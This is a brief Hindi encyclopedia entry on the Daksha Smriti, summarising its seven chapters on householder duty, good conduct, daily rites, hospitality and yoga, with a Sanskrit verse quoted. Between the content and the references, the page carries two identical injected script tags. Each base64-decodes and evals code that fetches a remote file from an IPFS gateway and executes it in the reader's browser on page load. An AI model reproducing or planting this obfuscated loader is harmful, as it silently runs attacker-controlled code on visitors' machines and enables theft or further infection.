दक्ष स्मृति

भारत डिस्कवरी प्रस्तुति
(दक्षस्मृति से पुनर्निर्देशित)
यहाँ जाएँ:भ्रमण, खोजें
  • सात अध्यायों में निबद्ध दक्ष स्मृति मुख्य रूपेण गृहस्थधर्म, सदाचार एवं अध्यात्म ज्ञान का निरूपण करता है।
  • गृहस्थाश्रम महिमा, सन्ध्यावंदन विधि नित्यकर्म, धन सम्पत्ति का दान, सदुपयोग, आतिथ्य-सत्कार, करणीय एवं अकरणीय कर्म, अध्यात्म, योग निरूपण की विवेचना मिलती है।
  • वह कहते हैं मात्र योग से ही सम्पूर्ण लोक को वश में किया जा सकता है- लोको वशीकृतो येन येनचात्मा वशीकृत:/इन्द्रियार्थों जितो येन तं योगं प्रब्रवीम्यहम।[1]
  • उन्होंने पतंजलि योग के षड्गंयोग का उपदेश दिया है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. 7/1